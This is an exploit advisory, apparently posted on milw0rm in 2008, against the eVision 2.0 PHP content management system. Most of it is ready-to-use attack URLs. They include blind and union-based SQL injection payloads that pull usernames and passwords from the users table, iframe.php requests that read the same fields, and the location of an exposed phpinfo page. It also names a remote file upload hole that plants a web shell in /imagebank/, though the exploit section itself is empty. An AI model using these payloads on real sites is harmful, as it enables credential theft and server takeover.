##################################################################################### #### eVision 2.0 Sql Injection/Remote File Upload/IG #### ##################################################################################### # # #AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) # #Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) # #Our Site : Http://IRCRASH.COM # #IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) # ##################################################################################### # # #Script Download : http://mesh.dl.sourceforge.net/sourceforge/e-vision/eVision-2.0.tar.gz # # #DORK : :( # # # ##################################################################################### # [Sql Injection] # # # #Blind : http://Site/print.php?id=1'+and+1=1/* # #http://Site/style.php?template=1&module='+union+select+concat_ws(0x7c,username,pass)+from+users/* #User : http://Site/iframe.php?field=username&module=users/* # #Pass : http://Site/iframe.php?field=pass&module=users/* # # [IG] # #http://Site/admin/phpinfo.php # # # # [Remote File Upload] # #Exploit : # # # # # # # # # # # #Your shell save in http://Site/imagebank/ # # # ##################################################################################### # Site : Http://IRCRASH.COM # ###################################### TNX GOD ###################################### # milw0rm.com [2008-08-02]